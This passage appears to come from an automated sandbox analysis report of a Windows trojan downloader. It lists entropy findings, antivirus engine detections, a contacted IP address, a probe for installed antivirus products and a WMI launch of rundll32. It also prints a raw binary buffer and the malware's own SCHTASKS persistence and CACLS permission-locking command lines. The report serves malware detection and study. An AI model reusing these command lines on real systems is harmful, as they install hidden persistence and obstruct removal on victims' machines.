InternetReadFile March 22, 2023, 5:27 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $,CyáCyáCyáâ~Iyáä~Ëyáå~Qyáå~Lyáâ~Ryáä~byáà~FyáCyàyáØè~@yáØá~ByáØByáØã~ByáRichCyáPEL<·cà!Þ>ð°@0IÌI<øT°=p >@ð,.textVÝÞ `.rdata~`ðbâ@@.dataD`D@À.rsrcøP@@.relocTR@Bj h¨<¹phè?#hêèYÃÌÌÌjhÉ<¹hè#h`êèlYÃÌÌÌjhÉ<¹ hèÿ"hÀêèLYÃÌÌÌjhÉ<¹¸hèß"h ëè,YÃÌÌÌjhÉ<¹Ðhè¿"hëè*YÃÌÌÌjhÉ<¹èhè"hàëèì)YÃÌÌÌjhÉ<¹iè"h@ìèÌ)YÃÌÌÌjhÉ<¹iè_"h ìè¬)YÃÌÌÌj?h=¹0iè?"híè)YÃÌÌÌÁÂÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPèÂ2ÄÆ^]ÂÌÌÌI¸\|<ÉEÁÃÌÌUìVñFÇñPèó2ÄöEtjVè«%ÄÆ^]ÂAÇñPèÉ2YÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌWÀÁfÖAÇA<ÇìñÃÌÌÌÌÌÌÌÌUììMôèÒÿÿÿhIEôPè2ÌÌÌÌUìVñWÀFPÇñfÖEÀPèò1ÄÇìñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPè²1ÄÇ ñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìQSZVWQSñè=h3É3À}üÛ~53Ò;ÇþEÐ=h¸phCph~r>A}üB;Ë\|Ë~r_ÆÆ^[å]Ã_ÆÆ^[å]ÃÌÌÌÌÌUììSVWòùQ}ôFPEðè3Û]ø9]ð)D~Ær¾Pè¯KÄÀu-NÆùr< tÆùrÏréÌ~Ær=@i3Ò Diÿt+EÿfD]ÿù¸0iC0i8]øtB;×ráÊÿEÈxr3Àÿt.MÿD=Di¹0i]ÿC 0i8]øt@;ÇrÝÈÿ=Di¹0iC 0iMìMôMøyr MøÏ+È 3Ò÷÷Mì}ô MøC]ø;]ðÜþÿÿrÆÇ_^[å]ÃÆÇ_^[å]ÃÌÌÌÌÌÌÌÌÌÌUìì@SVWÙòQMÄ]ôèçýÿÿEÄÖPMÜèYþÿÿhÇCÇCÆè°"Ø¹Èÿ]øûÄó«3Ò¾Ð<Bú@\|ðUì3ö3Û~øÒtAMø}ðEÜCEÜ¾øÿt'ÁæðÇxÏÆÓøMôPèUìïMøC;ÚrÂEøÀthPèð!ÄUðúr(MÜBÁúrIüÂ#+ÁÀüøwVRQèÀ!ÄUØÇEìÇEðÆEÜúr(MÄBÁúrIüÂ#+ÁÀüøwRQè~!ÄEô_^[å]ÃèGÌÌÌÌÌÌÌÌÌÌÌUìì4E0SVW3ÿÆEè¾À]ÇEàÇEäÆEÐ;Ç´+ÇMÐ;ÃBØ}4E CE SÇPèþr.MèVÁúrIüÂ#+ÁÀüøhRQè× ÄMÐ}Uó~EàEèCU}äuà]f~ÉMèCÁfÖEø;óu\îr; uÀÂîsïþüî: u7þýßH:Ju&þþÎH:Juþÿ½@:B±E0Guü;øõþÿÿ3ÿUþr/MèFÁþrIüÆ#+ÁÀüøVQè UÄEør'HÂùrRüÁ#+ÂÀüøw`QRèÏÄU4ÇEÇEÆEúr3M BÁúrIüÂ#+ÁÀüøwë uüGéWÿÿÿRQèÄÇ_^[å]Ãè Eè«ÌÌÌÌÌÌÌÌÌÌÌUìQS]Vñ]üWjhÉ<ÇFÇFÆèD3ÿÛ~1}ECE8S¿C ú¶È¶ÃGÈ¶ÁÎPèG;}ü\|ÏUúr(MBÁúrIüÂ#+ÁÀüøwRQèÑÄ_Æ^[å]ÃèïDÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìì0VWj$hX=MÐÇEàÇEäÆEÐèEÀu3öéÇ3ÿÀ¸ÇEøÇEüÆEè;ÇF+Ç¹;ÁBÈ}ECEQÇMèPèBìEÐÌPètìEèôìÌPèaÎèªþÿÿÄè¢üÿÿUüÄ0Àúr,MèBÁúrIüÂ#+ÁÀüø¹RQèÇÄEG;øHÿÿÿ¾Uäúr(MÐBÁúrIüÂ#+ÁÀüøwxRQèÄUúr^MBÁúrFIüÂ#+ÁÀüøwHë4úr(MèBÁúrIüÂ#+ÁÀüøw#RQè1Ä3öétÿÿÿRQè Ä_Æ^å]Ãè?CèJÌÌÌÌÌÌÌÌÌÌUìQEUMVÀS@WPè] ÄM}ØÓCM+ÑID ÿÀuóóNFÀuù+ñFVjÿðVøSWÿðPèÇ5ÄWÿðjÿñÿñWjÿñÿ ñUM_[^úr%BÁúrIüÂ#+ÁÀüøwRQèAÄå]ÃèdBÌÌÌÌUìì$SVWùjÇGÇGÆÿñÀj ÿ$ñØ]üÛlSÿðEôÀSjjjjjÿPjhéýÿððuøö.WN;ÊwOÇrÆëFGÙ+Ú+Â;Øw%ÇOrS4jVèE,ÆÄuøëQSÆEøÏÿuøSè¨]üÇrjjVPjÿÿuô request_handle: 0x00cc000c	1	1	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00122000', u'virtual_address': u'0x00002000', u'entropy': 7.053224038741282, u'name': u'.text', u'virtual_size': u'0x00121e94'}

entropy

7.05322403874

description

A section with a high entropy has been found

entropy

0.998278829604

description

Overall entropy of this PE file is high

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F

Communicates with host for which no DNS query was performed (1 event)

host

77.73.134.27

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Installs itself for autorun at Windows startup (2 events)

cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F

Uses suspicious command line tools or Windows utilities (6 events)

cmdline	CACLS "..\16de06bfb4" /P "test22:N"
cmdline	CACLS "nbveek.exe" /P "test22:N"
cmdline	cmd /k echo Y\|CACLS "nbveek.exe" /P "test22:N"&&CACLS "nbveek.exe" /P "test22:R" /E&&echo Y\|CACLS "..\16de06bfb4" /P "test22:N"&&CACLS "..\16de06bfb4" /P "test22:R" /E&&Exit
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "nbveek.exe" /P "test22:N"&&CACLS "nbveek.exe" /P "test22:R" /E&&echo Y\|CACLS "..\16de06bfb4" /P "test22:N"&&CACLS "..\16de06bfb4" /P "test22:R" /E&&Exit
cmdline	CACLS "nbveek.exe" /P "test22:R" /E
cmdline	CACLS "..\16de06bfb4" /P "test22:R" /E

Uses WMI to create a new process (1 event)

Time & API	Arguments	Status	Return	Repeated
IWbemServices_ExecMethod March 22, 2023, 5:26 p.m.	inargs.CurrentDirectory: None inargs.CommandLine: rundll32.exe "C:\Users\test22\AppData\Local\Temp\db.dll",open inargs.ProcessStartupInformation: None flags: 0 method: Create class: Win32_Process	1	0	0

File has been identified by 45 AntiVirus engines on VirusTotal as malicious (45 events)

Bkav	W32.AIDetectNet.01
Lionic	Trojan.Win32.ShortLoader.4!c
Elastic	malicious (high confidence)
MicroWorld-eScan	IL:Trojan.MSILZilla.9891
FireEye	Generic.mg.ba218b60cb97c353
CAT-QuickHeal	Backdoor.MsilFC.S22017452
ALYac	IL:Trojan.MSILZilla.9891
Malwarebytes	Trojan.Crypt.MSIL.Generic
Cynet	Malicious (score: 100)
Alibaba	TrojanDownloader:MSIL/Mokes.f71c2c66
CrowdStrike	win/malicious_confidence_100% (W)
BitDefenderTheta	Gen:NN.ZemsilF.36344.in0@a8Cibil
Cyren	W32/MSIL_Kryptik.FFY.gen!Eldorado
Symantec	Scr.Malcode!gdn33
ESET-NOD32	a variant of MSIL/Agent.UZA
APEX	Malicious
Paloalto	generic.ml
Kaspersky	HEUR:Trojan-Downloader.MSIL.ShortLoader.gen
BitDefender	IL:Trojan.MSILZilla.9891
Avast	Win32:DropperX-gen [Drp]
Tencent	Msil.Trojan-Downloader.Shortloader.Udkl
DrWeb	Trojan.MulDropNET.43
VIPRE	IL:Trojan.MSILZilla.9891
TrendMicro	TROJ_GEN.R002C0DCL23
Trapmine	malicious.moderate.ml.score
Sophos	Troj/ILAgent-I
Ikarus	Win32.Outbreak
Avira	HEUR/AGEN.1357339
Gridinsoft	Trojan.Win32.Gen.bot
Arcabit	IL:Trojan.MSILZilla.D26A3
ViRobot	Trojan.Win.Z.Agent.1190400.A
ZoneAlarm	HEUR:Trojan-Downloader.MSIL.ShortLoader.gen
GData	IL:Trojan.MSILZilla.9891
Google	Detected
AhnLab-V3	Malware/Win.Generic.C4478643
Acronis	suspicious
VBA32	Trojan.MSIL.Injector.gen
MAX	malware (ai score=82)
Cylance	unsafe
TrendMicro-HouseCall	TROJ_GEN.R002C0DCL23
Rising	Trojan.AntiVM!1.CF63 (CLASSIC)
SentinelOne	Static AI - Malicious PE
Fortinet	MSIL/GenKryptik.FFMZ!tr
AVG	Win32:DropperX-gen [Drp]
Panda	Trj/GdSda.A

power.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All